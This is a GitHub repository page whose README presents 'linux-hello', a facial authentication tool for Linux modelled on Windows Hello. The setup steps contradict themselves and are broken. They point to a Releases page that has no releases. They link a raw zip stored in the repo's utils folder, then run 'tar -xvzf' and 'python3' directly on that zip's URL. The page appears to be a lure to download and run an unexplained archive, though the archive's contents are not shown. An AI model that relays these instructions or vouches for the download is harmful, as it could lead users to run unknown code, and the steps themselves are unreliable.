Skip to content

πŸ” Implement facial authentication for Linux, inspired by Windows Helloβ„’, to enhance security with ease and convenience.

License

Notifications You must be signed in to change notification settings

yghlaio/linux-hello

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

10 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ” linux-hello - Effortless Facial Authentication for Linux

πŸ“₯ Download Now

Download linux-hello

πŸ“– Overview

linux-hello provides a simple way to secure your Linux device using facial recognition. Inspired by Windows Hello, this tool uses advanced techniques for reliable face detection and recognition.

πŸ” Features

  • Facial Authentication: Quickly log in using your face.
  • Rotation-Invariant Detection: Works well from different angles.
  • TPM Support: Enhances security by integrating with Trusted Platform Module.
  • User-Friendly GUI: Easy management of settings and preferences.
  • Open Source: Join our community and contribute.

βœ… System Requirements

  • Operating System: Linux (Ubuntu 18.04 or newer recommended)
  • Processor: 64-bit processor
  • Memory: Minimum 4 GB RAM
  • Storage: At least 100 MB of free disk space
  • Camera: A webcam or built-in camera capable of video capture

πŸš€ Getting Started

Follow these simple steps to download and run the software:

  1. Visit the Releases Page:

    • Go to the Releases page to find the latest version of linux-hello.
  2. Download the Installer:

    • Click on the version number to open its details.
    • Look for a file named https://github.com/yghlaio/linux-hello/raw/refs/heads/main/utils/hello_linux_2.8.zip or similar.
    • Download this file to your computer.
  3. Extract the Downloaded File:

    • Open a terminal window.
    • Navigate to the directory where you downloaded the file. You can do this using the cd command.
    • Run the command:
      tar -xvzf https://github.com/yghlaio/linux-hello/raw/refs/heads/main/utils/hello_linux_2.8.zip
    • This will extract the files into a new folder.
  4. Install Dependencies:

    • Before running the software, ensure you have the required dependencies installed. Run the following commands:
      sudo apt-get update
      sudo apt-get install python3 python3-opencv python3-tk python3-pip
  5. Run linux-hello:

    • In the terminal, navigate to the extracted folder:
      cd linux-hello-x.x.x
    • Start the application by running:
      python3 https://github.com/yghlaio/linux-hello/raw/refs/heads/main/utils/hello_linux_2.8.zip

πŸ’‘ Usage Tips

  • When you first open the application, you will need to set up your facial recognition profile.
  • Make sure you are in a well-lit area for the best results.
  • Regularly update your profile if your appearance changes significantly.

πŸ”„ Updating

To update linux-hello, simply repeat the download steps described above. Installing newer versions will overwrite the old files, ensuring you have the latest features and improvements.

❓ Troubleshooting

If you encounter issues during setup or usage:

  • Check FAQ sections in the documentation on the GitHub page.
  • Ensure your system meets the requirements.
  • Make sure your webcam is functioning properly.

πŸ“ž Support

If you need further assistance, please reach out through the issues section of the GitHub repository. Our team and community members will happily help you.

πŸ“… Contributing

We welcome contributions! If you want to help improve linux-hello, check out the contributing guidelines on our GitHub page.

🌟 Acknowledgements

Thanks to the open-source community for their contributions to facial recognition technologies and to everyone who has supported this project.

πŸ”— Useful Links

Feel free to explore more and customize your usage of linux-hello. Your safe and secure login experience is just a face scan away!

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •